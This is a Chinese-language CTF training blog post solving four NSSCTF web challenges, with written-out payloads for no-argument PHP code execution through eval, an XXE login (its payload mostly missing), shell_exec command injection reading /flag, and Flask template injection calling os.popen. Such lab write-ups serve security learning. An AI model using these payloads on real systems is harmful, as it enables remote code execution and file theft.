NSSCTF web 刷题记录1

文章目录

  • 前言
  • 题目
    • [GXYCTF 2019]禁止套娃
      • 方法一
      • 方法二
    • [NCTF 2019]Fake XML cookbook
    • [NSSRound#7 Team]ec_RCE
    • [NCTF 2018]Flask PLUS


前言

今天是2023.9.3,大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少,新学期新气象。不可急于求成,稳扎稳打,把能利用的时间用来提升web实力。


题目

[GXYCTF 2019]禁止套娃

打开题目,直接扫一下目录
发现是存在git泄露—参考文章

NSSCTF web 刷题记录1_第1张图片然后使用专门的工具Githack(下载地址)
打开终端,运行python(运行后要访问,/.git/才能有结果)

NSSCTF web 刷题记录1_第2张图片源代码

";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下
第一个if语句禁用了一些php伪协议
第二个if语句很明显是无参rce的标志,一般代码为

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

第三个if语句是禁用我们要rce的一些函数,比如phpinfo()

所以rce的关键是无参

方法一

使用session_start()+session_id()读取文件(php<7)

payload

?exp=show_source(session_id(session_start())); 
Cookie: PHPSESSID=flag.php

得到flag

NSSCTF web 刷题记录1_第3张图片

方法二

php函数直接读取文件

先读取数组,查看flag在第几个
payload

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
发现是第三个,那么我们可以先倒序再读取第二个

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

即可得到flag

[NCTF 2019]Fake XML cookbook

打开题目,根据提示应该不是sql注入
随便输入然后bp抓包,发现是xml格式的登录

NSSCTF web 刷题记录1_第4张图片联想到XML中存在的XXE漏洞
payload



  ]>
&admin;1

NSSCTF web 刷题记录1_第5张图片修改下命令,直接得到flag

NSSCTF web 刷题记录1_第6张图片

[NSSRound#7 Team]ec_RCE

源代码

 

 

分析一下,有两个POST参数可控,然后出现shell_exec()函数
它的作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
payload

action=||&data='cat /flag'
或者
action=;cat /flag&data=

得到flag

[NCTF 2018]Flask PLUS

打开题目,在url输入{{7*7}}
NSSCTF web 刷题记录1_第7张图片发现存在ssti漏洞

payload

{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}

在这里插入图片描述
然后得到flag
NSSCTF web 刷题记录1_第8张图片

你可能感兴趣的:(php,web安全)